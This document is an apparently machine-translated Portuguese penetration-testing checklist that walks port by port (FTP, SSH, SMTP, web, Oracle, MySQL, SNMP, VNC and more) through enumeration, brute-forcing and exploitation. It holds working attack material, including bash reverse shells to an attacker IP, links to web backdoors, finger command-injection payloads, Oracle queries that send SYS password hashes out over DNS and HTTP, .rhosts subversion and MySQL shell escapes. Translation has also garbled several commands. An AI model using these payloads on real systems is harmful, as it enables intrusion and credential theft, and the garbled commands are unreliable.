Enumeração

- Porta FTP 21 aberta
  - Servidor de impressão digital
    - telnet ip_address 21 (captura de banner)
    - Execute o comando ftp ip_address
    - ftp@exemplo.com
    - Verifique se há acesso anônimo
      - ftp ip_addressUsername: anônimo OU anonPassword: any@email.com
  - Adivinhação de senha
    - Força bruta da hidra
    - medusa
    - Bruto
  - Examine os arquivos de configuração
    - ftpusers
    - ftp.conf
    - proftpd.conf
  - MiTM
    - pasvagg.pl
- Porta SSH 22 aberta
  - Servidor de impressão digital
    - telnet ip_address 22 (captura de banner)
    - scansh
      - scanssh -p -r -e exclui aleatório (nº)/Network_ID/Subnet_Mask
  - Adivinhação de senha
    - ssh root@endereço_ip
    - adivinha quem
      - ./b -l nome de usuário -h endereço_ip -p 22 -2 < password_file_location
    - Força bruta da hidra
    - bruto
    - Ruby SSH Bruteforcer
  - Examine os arquivos de configuração
    - ssh_config
    - sshd_config
    - chaves_autorizadas
    - ssh_known_hosts
    - .shosts
  - Programas clientes SSH
    - tuneleiro
    - winshd
    - massa
    - wincp
- Porta Telnet 23 aberta
  - Servidor de impressão digital
    - endereço_ip_telnet
      - Lista de banners comunsOS/BannerSolaris 8/SunOS 5.8Solaris 2.6/SunOS 5.6Solaris 2.4 ou 2.5.1/Unix(r) System V Release 4.0 (nome do host)SunOS 4.1.x/SunOS Unix (nome do host)FreeBSD/FreeBSD/i386 (nome do host) (ttyp1)NetBSD/NetBSD/i386 (nome do host) (ttyp1)OpenBSD/OpenBSD/i386 (nome do host) (ttyp1)Red Hat 8.0/Red Hat Linux versão 8.0 (Psyche)Debian 3.0/Debian GNU/Linux 3.0 / nome do hostSGI IRIX 6. x/IRIX (nome do host)IBM AIX 4.1.x/AIX Versão 4 (C) Direitos autorais da IBM e de outros 1982, 1994.IBM AIX 4.2.x ou 4.3.x/AIX Versão 4 (C) Direitos autorais da IBM e de outros 1982, 1996.Nokia IPSO/IPSO (nome do host) (ttyp0)Cisco IOS/Verificação de acesso do usuárioLivingston ComOS/ComOS - Livingston PortMaster
    - telnetfp
  - Ataque de senha
    - Senhas comuns
    - Força bruta da hidra
    - Bruto
    - telnet -l "-froot" nome do host (Solaris 10+)
  - Examine os arquivos de configuração
    - /etc/inetd.conf
    - /etc/xinetd.d/telnet
    - /etc/xinetd.d/stelnet

- Porta Sendmail 25 aberta
  - Servidor de impressão digital
    - telnet ip_address 25 (captura de banner)
  - Teste de servidor de correio
    - Enumerar usuários
      - Nome de usuário VRFY (verifica se existe nome de usuário - enumeração de contas)
      - Nome de usuário EXPN (verifica se o nome de usuário é válido - enumeração de contas)
    - Teste de falsificação de correio
      - HELO qualquer coisa MAIL FROM: spoofed_address RCPT TO:valid_mail_account DATA . DESISTIR
    - Teste de retransmissão de correio
      - OLÁ qualquer coisa
        - Idêntico de/para - email de: <nobody@domain> rcpt para: <nobody@domain>
        - Domínio desconhecido - email de: <user@unknown_domain>
        - Domínio não presente - email de: <user@localhost>
        - Domínio não fornecido - email de: <usuário>
        - Omissão do endereço de origem - email de: <> rcpt para: <nobody@recipient_domain>
        - Use o endereço IP do servidor de destino - email de: <user@IP_Address> rcpt para: <nobody@recipient_domain>
        - Use aspas duplas - mail from: <user@domain> rcpt to: <"user@recipent-domain">
        - Endereço IP do usuário do servidor de destino - email de: <user@domain> rcpt para: <nobody@recipient_domain@[IP Address]>
        - Formatação diferente - e-mail de: <user@[Endereço IP]> rcpt para: <@domain:nobody@recipient-domain>
        - Formatação diferente2 - e-mail de: <user@[Endereço IP]> rcpt para: <recipient_domain!nobody@[Endereço IP]>
  - Examine os arquivos de configuração
    - sendmail.cf
    - enviar.cf
- Porta DNS 53 aberta
  - Servidor/serviço de impressão digital
    - hospedar
      - host [-aCdlnrTwv] [-c classe] [-N ndots] [-R número] [-t tipo] [-W esperar] nome [servidor] - v formato detalhado -t (tipo de consulta) Permite que um usuário especifique um tipo de registro, ou seja, A, NS ou PTR. -a O mesmo que –t QUALQUER. -l Transferência de zona (se permitido). -f Salva em um nome de arquivo especificado.
    - nslookup
      - nslookup [-option ...] [host para encontrar | - [servidor]]
    - escavação
      - dig [@server] [-b endereço] [-c classe] [-f nome do arquivo] [-k nome do arquivo] [-p porta#] [-t tipo] [-x endereço] [-y nome:chave] [- 4] [-6] [nome] [tipo] [classe] [queryop...]
    - whois-h Use o host nomeado para resolver a consulta -a Use ARIN para resolver a consulta -r Use RIPE para resolver a consulta -p Use APNIC para resolver a consulta -Q Execute uma pesquisa rápida
  - Enumeração DNS
    - Suíte Bile
      - perl BiLE.pl [site] [nome_do_projeto]
      - perl BiLE-weigh.pl [site] [arquivo de entrada]
      - perl vet-IPrange.pl [arquivo de entrada] [arquivo de domínio verdadeiro] [arquivo de saída] <intervalo>
      - perl vet-mx.pl [arquivo de entrada] [arquivo de domínio verdadeiro] [arquivo de saída]
      - perl exp-tld.pl [arquivo de entrada] [arquivo de saída]
      - perl jarf-dnsbrute [nome_do_domínio] (nível bruto) [arquivo_com_nomes]
      - perl qtrace.pl [arquivo_endereço_ip] [arquivo_saída]
      - perl jarf-rev [subnetblock] [servidor de nomes]
    - txdns
      - txdns -rt -t nome_domínio
      - txdns -x 50 -bb nome_domínio
      - txdns --verbose -fm wordlist.dic --server ip_address -rr SOA nome_do_domínio -hc: \hostlist.txt
  - Examine os arquivos de configuração
    - host.conf
    - resolv.conf
    - nomeado.conf
- Porta TFTP 69 aberta
  - Enumeração TFTP
    - endereço IP tftp PUT arquivo_local
    - tftp ip_address GET conf.txt (ou outros arquivos)
    - Servidor TFTP Solarwinds
    - tftp – i <IP> GET /etc/passwd (antigo Solaris)
  - Força bruta TFTP
    - Força bruta TFTP
    - Tocha Cisco
- Porta de dedo 79 aberta
  - Enumeração de usuários
    - dedo 'abcdefg h' @example.com
    - dedo admin@example.com
    - dedo usuário@exemplo.com
    - dedo 0@exemplo.com
    - dedo .@example.com
    - dedo **@exemplo.com
    - teste de dedo@exemplo.com
    - dedo @exemplo.com

- Execução de comando
  - dedo "|/bin/id@example.com"
  - dedo "|/bin/ls -a /@example.com"
- Salto de dedo
  - dedo usuário@host@vítima
  - dedo @interno@externo

- Portas Web 80, 8080 etc. abertas
  - Servidor de impressão digital
    - Porta Telnet endereço_ip
    - Plug-ins do Firefox
      - Todos
        - gato de fogo
      - Específico
        - adicionar e editar cookies
        - como número
        - espião de cabeçalho
        - cabeçalhos http ao vivo
        - Shazou
        - desenvolvedor web
  - Site de rastreamento
    - lynx [opções] startfile/URL As opções incluem -traversal -crawl -dump -image_links -source
    - httpimprimir
    - Metagoofil
      - metagoofil.py -d [domínio] -l [não. de] -f [tipo] -o resultados.html
  - Enumeração do diretório da Web
    - Nikto
      - nikto [-h alvo] [opções]
    - DirBuster
    - Wikito
    - Scanner Goolag
  - Avaliação de vulnerabilidade
    - Testes Manuais
      - Senhas padrão
      - Instalar backdoors
        - ASP
          - http://packetstormsecurity.org/UNIX/penetration/aspxshell.aspx.txt
        - Sortido
          - http://michaeldaw.org/projects/web-backdoor-compilation/
          - http://open-labs.org/hacker_webkit02.tar.gz
        - Perl
          - http://home.arcor.de/mschierlm/test/pmsh.pl
          - http://pentestmonkey.net/tools/perl-reverse-shell/
          - http://freeworld.thc.org/download.php?t=r&f=rwwwshell-2.0.pl.gz
        - PHP
          - http://php.spb.ru/remview/
          - http://pentestmonkey.net/tools/php-reverse-shell/
          - http://pentestmonkey.net/tools/php-findsock-shell/
        - Pitão
          - http://matahari.sourceforge.net/
        - TCL
          - http://www.irmplc.com/download_pdf.php?src=Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf&force=yes
        - Bash Connect Back Shell
          - GnuCitizen
            - Caixa de ataque: nc -l -p Porta -vvv
            - Vítima: $ exec 5<>/dev/tcp/IP_Address/Port

              Vítima: $ gato <&5 | enquanto lê a linha; faça $line 2>&5 >&5; feito
          - Neohapsis
            - Caixa de ataque: nc -l -p Porta -vvv
            - Vítima: $ exec 0</dev/tcp/IP_Address/Port # Primeiro copiamos nossa conexão via stdin

              Vítima: $ exec 1>&0 # Em seguida, copiamos stdin para stdout

              Vítima: $ exec 2>&0 # E finalmente stdin para stderr

              Vítima: $ exec /bin/sh 0</dev/tcp/IP_Address/Port 1>&0 2>&0
      - Teste de método
        - nc IP_Adress Porta
          - CABEÇA/HTTP/1.0
          - OPÇÕES / HTTP/1.0
          - PROPFIND/HTTP/1.0
          - TRACE/HTTP/1.1
          - COLOQUE http://Target_URL/FILE_NAME
          - POST http://Target_URL/FILE_NAME HTTP/1.x
      - Fazer upload de arquivos
        - ondulação
          - curl -u <nome de usuário:senha> -T arquivo_to_upload <URL de destino>
          - curl -A "Mozilla/4.0 (compatível; MSIE 5.01; Windows NT 5.0)" <Target_URL>
        - colocar.pl
          - put.pl -h destino -r /nome_do_arquivo_remoto -f nome_do_arquivo_local
        - webdav
          - cadáver
      - Ver fonte da página
        - Valores ocultos
        - Observações do desenvolvedor
        - Código Estranho

- Senhas!
- Verificações de validação de entrada
  - NULO ou nulo
    - Possíveis mensagens de erro retornadas.
  - ' , " , ; , <!
    - Quebra uma string ou consulta SQL; usado para testes de injeção SQL, XPath e XML.
  - – , = , + , "
    - Usado para criar consultas de injeção SQL.
  - ' , &, ! , ¦ , < , >
    - Usado para encontrar vulnerabilidades de execução de comandos.
  - "><script>alerta(1)</script>
    - Verificações básicas de script entre sites.
  - %0d%0a
    - Retorno de carro (%0d) Alimentação de linha (%0a)
      - Divisão HTTP
        - idioma =? 0a%0d%0a<html>Insira conteúdo indesejável aqui</html>
          - ou seja, Content-Length= 0 HTTP/1.1 200 OK Content-Type=text/html Content-Length=47<html>blá</html>
      - Envenenamento de cache
        - idioma =? %2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insira conteúdo indesejável aqui</html>
  - %7f, %ff
    - estouros de comprimento de bytes; valores máximos de 7 e 8 bits.
  - -1, outro
    - Vulnerabilidades de inteiro e underflow.
  - %n, %x, %s
    - Teste de vulnerabilidades de string de formato.
  - ../
    - Vulnerabilidades de passagem de diretório.
  - % , _, *
    - Os caracteres curinga às vezes podem apresentar problemas de DoS ou divulgação de informações.
  - Ax1024+
    - Vulnerabilidades de estouro.
- Iteração automatizada de tabelas e colunas
  - pedido por.py
    - ./orderby.py www.site.com/index.php?id=
  - d3sqlfuzz.py
    - ./d3sqlfuzz.py www.site.com/index.php?id=-1+UNION+ALL+SELECT+1,COLUMN,3+FROM+TABLE--
- Scanners de vulnerabilidade
  - Acunetix
  - Gredelscan
  - Stealth
  - Obiwan III
  - w3af
- Aplicativos específicos/ferramentas de servidor
  - Dominó
    - auditoria de dominó
      - dominoaudit.pl [opções] -h <IP>
  - Joomla
    - cms_few
      - ./cms.py <nome do site>
    - joomsq
      - ./joomsq.py<IP>
    - joomlascan
      - ./joomlascan.py <site> <options> [opções, ou seja, -p/-proxy <host:port>: Adicionar suporte a proxy -404: Não mostrar respostas 404]
    - joomscan
      - ./joomscan.py -u "www.site.com/joomladir/" -o site.txt -p 127.0.0.1:80
    - jscan
      - jscan.pl -f nome do host
      - (shell.txt obrigatório)
  - aspaudit.pl
    - asp-audit.pl http://target/app/filename.aspx (opções, ou seja, -bf)
  - Boletim V
    - vbscan.py
      - vbscan.py <host> <porta> -v
      - vbscan.py -atualização
  - ZyXel
    - zyxel-bf.sh
    - snmpwalk
      - snmpwalk -v2c -c endereço IP público 1.3.6.1.4.1.890.1.2.1.2
    - snmpget
      - snmpget -v2c -c endereço IP público 1.3.6.1.4.1.890.1.2.1.2.6.0

- Teste de proxy
  - Burpsuite
  - Pé de cabra
  - Interceptor
  - Paros
  - Solicitante Bruto
  - Suru
  - WebScarab

- Examine os arquivos de configuração
  - Genérico
    - Examine os arquivos de configuração httpd.conf/windows
  - JBoss
    - Console JMX http://<IP>:8080/jmxconcole/
      - Arquivo de guerra
  - Joomla
    - configuração.php
    - diagnóstico.php
    - joomla.inc.php
    - config.inc.php
  - Mambo
    - configuração.php
    - config.inc.php
  - WordPress
    - setup-config.php
    - wp-config.php
  - ZyXel
    - /WAN.html (contém senha do ISP PPPoE)
    - /WLAN_General.html e /WLAN.html (contém chave WEP)
    - /rpDyDNS.html (contém credenciais DDNS)
    - /Firewall_DefPolicy.html (Firewall)
    - /CF_Keyword.html (filtro de conteúdo)
    - /RemMagWWW.html (GMT remoto)
    - /rpSysAdmin.html (Sistema)
    - /LAN_IP.html (LAN)
    - /NAT_General.html (NAT)
    - /ViewLog.html (registros)
    - /rpFWUpload.html (Ferramentas)
    - /DiagGeneral.html (Diagnóstico)
    - /RemMagSNMP.html (senhas SNMP)
    - /LAN_ClientList.html (locações de DHCP atuais)
    - Backups de configuração
      - /RestoreCfg.html
      - /BackupCfg.html
      - Nota: - Os arquivos de configuração acima não são legíveis por humanos e a ferramenta a seguir é necessária para quebrar possíveis credenciais de administrador e outras configurações importantes
        - Leitor de configuração ZyXEL
- Examine os logs do servidor web
  - c:\winnt\system32\Logfiles\W3SVC1
    - awk -F " " '{imprimir $3,$11} nome do arquivo | classificar | único
- Referências
  - Livros Brancos
    - Falsificação de solicitação entre sites: uma introdução a um ponto fraco comum em aplicativos da Web
    - Atacando a segurança de serviços da Web: loucura orientada a mensagens, worms XML e sanidade da segurança de serviços da Web
    - Teste de segurança cego – uma abordagem evolutiva
    - Injeção de comando em assinaturas XML e criptografia
    - Folha de dicas de validação de entrada
    - Folha de dicas de injeção SQL
  - Livros
    - Hackeando a Web 2.0 exposta
    - Hackeando aplicativos da Web expostos
    - O Manual do Hacker de Aplicações Web
- Explorar estruturas
  - Ferramentas de força bruta
    - Acunetix
  - Metasploit
  - w3af

- Porta 111 do Portmapper aberta
  - rpcdump.py
    - rpcdump.py nome de usuário:password@IP_Address porta/protocolo (ou seja, 80/HTTP)
  - rpcinfo
    - rpcinfo [opções] Endereço_IP
- Porta NTP 123 aberta
  - Enumeração NTP
    - ntpdc -c monlist IP_ADDRESS
    - ntpdc -c sysinfo IP_ADDRESS
    - ntpq
      - hospedar
      - nome de anfitrião
      - versão ntp
      - lista de leitura
      - versão
  - Examine os arquivos de configuração
    - ntp.conf
- Portas NetBIOS 135-139.445 abertas
  - Enumeração NetBIOS
    - Enum
      - enum <-UMNSPGLdc> <-u nome de usuário> <-p senha> <-f dictfile> <hostname|ip>
    - Sessão Nula
      - uso líquido \\192.168.1.1\ipc$ "" /u:""
        - visualização da rede \\ endereço_ip
        - Dumpsec
    - Cliente Smb
      - smbclient -L //opções de senha do servidor/compartilhamento
    - Superscan
      - Guia Enumeração.

        - usuário2sid/sid2user
        - Winfo
    - Força bruta NetBIOS
        - Hidra
        - Bruto
        - Caim e Abel
        - obter conta
        - NAT (ferramenta de auditoria NetBIOS)
    - Examine os arquivos de configuração
        - Smb.conf
        - lmhosts
- Porta SNMP 161 aberta
    - Strings de comunidade padrão
        - público
        - privado
        - Cisco
            - cabo-docsis
            - ILMI
    - Enumeração MIB
        - Windows NT
            - .1.3.6.1.2.1.1.5 Nomes de host
            - .1.3.6.1.4.1.77.1.4.2 Nome de Domínio
            - .1.3.6.1.4.1.77.1.2.25 Nomes de usuário
            - .1.3.6.1.4.1.77.1.2.3.1.1 Executando serviços
            - .1.3.6.1.4.1.77.1.2.27 Compartilhar informações
        - Caminhada MIB Solarwinds
        - Getif
        - snmpwalk
            - snmpwalk -v <Versão> -c <String da comunidade> <IP>
        - Snscan
        - Formulários
            - ZyXel
                - snmpget -v2c -c <String da comunidade> <IP> 1.3.6.1.4.1.890.1.2.1.2.6.0
                - snmpwalk -v2c -c <String da comunidade> <IP> 1.3.6.1.4.1.890.1.2.1.2
    - Força bruta SNMP
        - um sessenta e um
            - onesixytone -c SNMP.lista de palavras <IP>
        - gato
            - ./cat -h <IP> -w SNMP.lista de palavras
        - Força bruta SNMP Solarwinds
        - ADMsnmp
    - Examine os arquivos de configuração SNMP
        - snmp.conf
        - snmpd.conf
        - snmp-config.xml
- Porta LDAP 389 aberta
    - enumeração ldap
        - ldapminer
            - ldapminer -h ip_address -p porta (não obrigatório se padrão) -d
        - luma
            - Ferramenta baseada em Gui
        - LDP
            - Ferramenta baseada em Gui
        - openldap
            - ldapsearch [-n] [-u] [-v] [-k] [-K] [-t] [-A] [-L[L[L]]] [-M[M]] [-d nível de depuração] [-f arquivo] [-D binddn] [-W] [-w passwd] [-y passwdfile] [-H ldapuri] [-h ldaphost] [-p ldapport] [-P 2|3] [-b searchbase] [-s base|one|sub] [-a nunca|sempre|search|find] [-l timelimit] [-z sizelimit] [-O security-properties] [-I] [-U authcid] [- Reino R] [-x] [-X authzid] [-Y mech] [-Z[Z]] filtro [attrs...]
            - ldapadd [-c][-S arquivo][-n][-v][-k][-K][-M[M]][-d nível de depuração][-D binddn][-W][-w passwd][-y passwdfile][-h ldaphost][-p ldap-port][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R reino][-x][-X authzid][-Y mech][-Z[Z]][-f arquivo]
            - ldapdelete [-n][-v][-k][-K][-c][-M[M]][-d nível de depuração][-f arquivo][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-P 2|3][-p ldapport][-O security-properties][-U authcid][-R realm][-x] [-I][-Q] [-X authzid][-Y mech][-Z[Z]][dn]
            - ldapmodify [-a][-c][-S arquivo][-n][-v][-k][-K][-M[M]][-d nível de depuração][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O propriedades de segurança][-I][-Q][- U authcid][-R reino][-x][-X authzid][-Y mech][-Z[Z]][-f arquivo]
            - ldapmodrdn [-r][-n][-v][-k][-K][-c][-M[M]][-d nível de depuração][-D binddn][-W][-w senha][-y passwdfile] [-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O propriedades de segurança][-I][-Q] [-U authcid][- Reino R][-x] [-X authzid][-Y mech][-Z[Z]][-f arquivo][dn rdn]
    - força bruta ldap
        - bf_ldap
            - bf_ldap -s servidor -d nome de domínio -u|-U nome de usuário | lista de usuários nome do arquivo -L|-l lista de senhas | comprimento das senhas a serem geradas opcional: -p porta (padrão 389) -v (modo detalhado) -P Caminho do usuário Ldap (padrão, CN = Usuários,)
        - K0ldS
        - LDAP_Brute.pl
    - Examine os arquivos de configuração
        - Em geral
            - contêineres.ldif
            - ldap.cfg
            - ldap.conf
            - ldap.xml
            - ldap-config.xml
            - ldap-realm.xml
            - tapa.conf
        - Servidor IBM SecureWay V3
            - V3.sas.oc
        - Servidor Microsoft Active Directory
            - msadClassesAttrs.ldif

        - Servidor de diretório Netscape 4
            - nsslapd.sas_at.conf
            - nsslapd.sas_oc.conf
        - Servidor de diretório OpenLDAP
            - slapd.sas_at.conf
            - slapd.sas_oc.conf
        - Servidor de diretório Sun ONE 5.1
            - 75sas.ldif
- Porta PPTP/L2TP/VPN 500/1723 aberta
    - Enumeração
        - ike-scan
        - sonda ike
    - Força Bruta
        - ike-crack
    - Material de referência
        - Papel para quebrar PSK
        - SegurançaFocus Infocus
        - Verificando uma implementação de VPN
- Porta Modbus 502 aberta
    - modscan
- porta rlogin 513 aberta
    - Enumeração Rlogin
        - Encontre os arquivos
            - encontrar / -nome .rhosts
            - localize .rhosts
        - Examinar arquivos
            - gato .rhosts
        - Login manual
            - rlogin nome do host -l nome de usuário
            - login <IP>
        - Subverta os arquivos
            - eco ++ > .rhosts
    - Rlogin Força bruta
        - Hidra
- porta rsh 514 aberta
    - Enumeração Rsh
        - rsh host [-l nome de usuário] [-n] [-d] [-k reino] [-f | -F] [-x] [-PN | -PO] comando
    - Rsh Força Bruta
        - rsh-moer
        - Hidra
        - medusa
- Porta SQL Server 1433 1434 aberta
    - Enumeração SQL
        - porquinho
        - SQLPing
            - sqlping endereço_ip/nome do host
        - SQLPing2
        - SQLPing3
        - SQLpoke
        - SQL Recon
        - SQLver
    - Força Bruta SQL
        - SQLPAT
            - sqlbf -u hashes.txt -d dicionário.dic -r out.rep - Ataque de dicionário
            - sqlbf -u hashes.txt -c default.cm -r out.rep - Ataque de força bruta
        - Dito SQL
        - SQLAT
        - Hidra
        - SQLIhf
        - ForçaSQL
- Porta Citrix 1494 aberta
    - Enumeração Citrix
        - Domínio Padrão
        - Aplicativos publicados
            - ./citrix-pa-scan {endereço_IP/arquivo | - | aleatório} [tempo limite]
            - citrix-pa-proxy.pl IP_to_proxy_to [Local_IP]
    - Força Bruta Citrix
        - bforce.js
        - conectar.js
        - Citrix Brute Forcer
        - Material de referência
            - Hackeando Citrix – o backdoor legítimo
            - Hackeando Citrix - a maneira forçada
- Porta Oracle 1521 aberta
    - Enumeração Oracle
        - oracsec
        - Repscan
        - Sidguess
        - Mergulho
        - Enumeração DNS/HTTP
            - SQL> SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECIONE SENHA DE DBA_USERS WHERE US ERNAME='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL; SELECIONE UTL_INADDR.GET_HOST_ADDRESS((SELECIONE SENHA DE DBA_USERS ONDE USERNAM E='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL
            - SQL> selecione utl_http.request('http://gladius:5500/'||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')) de dual;
        - WinSID
        - Lista de senhas padrão do Oracle
        - TNSVer

        - host tnsver [porta]
      - Varredura TCP
      - Oracle TNSLSNR
        - Responderá a: [ping] [versão] [status] [serviço] [change_password] [help] [reload] [save_config] [set log_directory] [set display_mode] [set log_file] [show] [spawn] [stop]
      - TNSCmd
        - perl tnscmd.pl -h endereço_ip
        - perl tnscmd.pl versão -h endereço_ip
        - perl tnscmd.pl status -h endereço_ip
        - perl tnscmd.pl -h endereço_ip --cmdsize (40 - 200)
      - LSNrCheck
      - Verificação de segurança Oracle (precisa de credenciais)
      - AVEIA
        - sh opwg.sh -s endereço_ip
        - opwg.bat -s endereço_ip
        - sh oquery.sh -s endereço_ip -u nome de usuário -p senha -d SID OU c:\oquery -s endereço_ip -u nome de usuário -p senha -d SID
      - OScanner
        - sh oscanner.sh -s endereço_ip
        - oscanner.exe -s endereço_ip
        - sh reportviewer.sh oscanner_saved_file.xml
        - reportviewer.exe oscanner_saved_file.xml
      - Esquilo NGS para Oracle
      - Registro de serviço
        - Service-register.exe endereço_ip
      - Scanner PLSQL 2008
    - Força Bruta Oráculo
      - CARVALHO
        - porta do nome do host ora-getsid sid_dictionary_list
        - ora-auth-alter-session host porta sid nome de usuário senha sql
        - início da porta do host ora-brutesid
        - ora-pwdbrute porta host sid nome de usuário arquivo de senha
        - porta do host ora-userenum sid userlistfile
        - porta do host ora-ver -e (-f -l -a)
      - quebrável (porta do servidor de aplicativos de destino)
        - breakable.exe host url [porta] [v]host endereço_ip do Oracle Portal Serverurl PATH_INFO, ou seja, /pls/orassoport Porta TCP O Oracle Portal Server está servindo páginas dev detalhado
      - SQLInjector (destina-se à porta do servidor de aplicativos)
        - sqlinjector -t endereço_ip -a banco de dados -f query.txt -p 80 -gc 200 -ec 500 -k SOFTWARE NGS -gt ESQUILO
        - sqlinjector.exe -t endereço_ip -p 7777 -a onde -gc 200 -ec 404 -qf q.txt -f plsql.txt -s oracle
      - Verifique a senha
      - orabf
        - orabf [hash]:[nome de usuário] [opções]
      - thc-orakel
        - Biscoito
        - Cliente
        - Criptografia
      - DBVisualizador
        - Scripts SQL de pentest.co.uk
        - Entrada SQL manual de vulnerabilidades relatadas anteriormente
    - Material de Referência Oracle
      - Compreendendo a injeção de SQL
      - Passo a passo de injeção SQL
      - Injeção SQL por exemplo
      - Injeção SQL avançada em bancos de dados Oracle
      - Injeção cega de SQL
      - Folhas de referências SQL
        - http://ha.ckers.org/sqlinjection

          http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

          http://www.0x000000.com/?i=14

          http://pentestmonkey.net/

- Porta NFS 2049 aberta
  - Enumeração NFS
    - showmount -e nome do host/endereço_ip
    - mount -t nfs endereço_ip:/directory_found_exported /local_mount_point
  - Força Bruta NFS
    - Interaja com o compartilhamento NFS e tente adicionar/excluir
    - Explorar e confundir o Unix
  - Examine os arquivos de configuração
    - /etc/exportações
    - /etc/lib/nfs/xtab
- Porta Compaq/HP Insight Manager 2301,2381 aberta
  - Enumeração HP
    - Método de autenticação
      - Autenticação do sistema operacional host
      - Autenticação padrão
        - Senhas padrão
    - Wikito
    - Furtivo
  - Força bruta HP
    - Hidra
    - Acunetix
  - Examine os arquivos de configuração
    - caminho.propriedades
    - mx.log

- CLIClientConfig.cfg
- banco de dados.props
- pg_hba.conf
- jboss-service.xml
- .namazurc

- Porta MySQL 3306 aberta
  - Enumeração
    - nmap -A -n -p3306 <Endereço IP>
    - nmap -A -n -PN --script:ALL -p3306 <Endereço IP>
    - Telnet IP_Address 3306
    - teste de uso; selecione * do teste;
    - Para verificar outros bancos de dados - mostre bancos de dados
  - Administração
    - Scanner de rede MySQL
    - Ferramentas GUI do MySQL
    - mysqlshow
    - mysqlbinlog
  - Verificações manuais
    - Nomes de usuário e senhas padrão
      - nome de usuário: senha root:
      - testando
        - mysql -h <Nome do host> -u raiz
        - mysql -h <Nome do host> -u raiz
        - mysql -h <Nome do host> -u root@localhost
        - mysql -h <Nome do host>
        - mysql -h <Nome do host> -u ""@localhost
    - Arquivos de configuração
      - Sistema operacional
        - janelas
          - config.ini
          - meu.ini
            - windows\meu.ini
            - winnt\meu.ini
          - <InstDir>/mysql/data/
        - unix
          - meu.cnf
            - /etc/my.cnf
            - /etc/mysql/my.cnf
            - /var/lib/mysql/my.cnf
            - ~/.my.cnf
            - /etc/my.cnf
      - Histórico de comandos
        - ~/.mysql.history
      - Arquivos de registro
        - conexões.log
        - atualização.log
        - comum.log
      - Para executar muitos comandos sql de uma vez - mysql -u nome de usuário -p <manycommands.sql
      - Diretório de dados MySQL (local especificado em my.cnf)
        - Dir pai = diretório de dados
        - mysql
        - teste
        - information_schema (informações principais no MySQL)
          - Lista completa de tabelas - selecione table_schema,table_name nas tabelas;
          - Privilégios exatos - selecione beneficiário, esquema_tabela, tipo_privilégio FROM esquema_privileges;
          - Privilégios de arquivo - selecione user,file_priv de mysql.user onde user='root';
          - Versão -- selecione versão();
          - Carregar um arquivo específico -- SELECT LOAD_FILE('FILENAME');
      - Verificação SSL
        - mysql> mostra variáveis como 'have_openssl';
          - Se nenhuma linha for retornada, significa que a distribuição em si não suporta conexões SSL e provavelmente precisa ser recompilada. Se estiver desabilitado, significa que o serviço simplesmente não foi iniciado com SSL e pode ser facilmente corrigido.
    - Escalação de privilégios
      - Nível atual de acesso
        - mysql>selecione usuário();
        - mysql>selecione usuário,senha,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv do usuário onde user='OUTPUT OF select user()';
      - Senhas de acesso
        - mysql> usar mysql
        - mysql> selecione usuário, senha do usuário;
      - Crie um novo usuário e conceda privilégios a ele
        - mysql>criar teste de usuário identificado por 'test';
        - mysql> concede SELECT,CREATE,DROP,UPDATE,DELETE,INSERT em *.* para mysql identificado por 'mysql' WITH GRANT OPTION;
      - Quebre uma concha
        - mysql>\! gato /etc/senha
        - mysql>\! festa
  - injeção SQL
    - mysql-miner.pl
      - mysql-miner.pl http://target/ banco de dados esperado_string
    - http://www.imperva.com/resources/adc/sql_injection_signatures_evasion.html
    - http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/
  - Referências.
    - Fraquezas do projeto
      - MySQL rodando como root

        - Exposto publicamente na Internet
      - http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=mysql
      - http://search.securityfocus.com/swsearch?sbm=%2F&metaname=alldoc&query=mysql&x=0&y=0
- Porta RDesktop 3389 aberta
  - Enumeração Rdesktop
    - Conexão de área de trabalho remota
  - Rdestop Bruteforce
    - TS Grinder
      - tsgrinder.exe -w arquivo_dicionário -l leet -d grupo de trabalho -u administrador -b -n 2 Endereço_IP
    - Tscrack
- Porta Sybase 5000+ aberta
  - Enumeração Sybase
    - endereço IP da versão sybase do NGS
  - Avaliação de vulnerabilidade Sybase
    - Usar DBVisualizer
      - Folha de verificação de segurança Sybase
        - Copie a saída para uma planilha do Excel
        - Avalie parâmetros mal configurados
      - Entrada SQL manual de vulnerabilidades relatadas anteriormente
        - Injeção SQL avançada no SQL Server
        - Injeção SQL mais avançada
    - Esquilo NGS para Sybase
- Porta SIP 5060 aberta
  - Enumeração SIP
    - netcat
      - Porta IP_Address
    - flanqueador
      - python sipflanker.py 192.168.1-254
    - Sipscan
    - mapa
      - smap Endereço_IP/Subnet_Mask
      - smap -o Endereço_IP/Subnet_Mask
      - smap -l Endereço_IP
  - Criação de pacotes SIP etc.
    - sorvete
      - Caminhos de rastreamento: - sipsak -T -s sip:usernaem@domain
      - Solicitação de opções: - sipsak -vv -s sip:nomedeusuário@domínio
      - Consultar ligações registradas: - sipsak -l -C vazio -a senha -s sip:nomedeusuário@domínio
    - siprogue
  - Verificação de vulnerabilidade SIP/força bruta
    - força bruta tftp
      - Arquivo de dicionário padrão
      - ./tftpbrute.pl Endereço IP Dicionário_arquivo Máximo_Processos
    - Auditoria VoIP
    - SiVuS
  - Examine os arquivos de configuração
    - SIPDefault.cnf
    - asterisco.conf
    - sip.conf
    - telefone.conf
    - sip_notify.conf
    - <Endereço Ethernet>.cfg
    - 000000000000.cfg
    - telefone1.cfg
    - sip.cfg etc.
- Porta VNC 5900 ^ aberta
  - Enumeração VNC
    - Verificações
      - 5900^ para acesso direto.5800 para acesso HTTP.
  - Força Bruta VNC
    - Ataques de senha
      - Controlo remoto
        - Adivinhação de senha
          - vncrack
        - Quebra de senha
          - vncrack
          - Captura de pacotes
            - Phoss http://www.phenoelit.de/phoss
      - Local
        - Locais de registro
          - \HKEY_CURRENT_USER\Software\ORL\WinVNC3
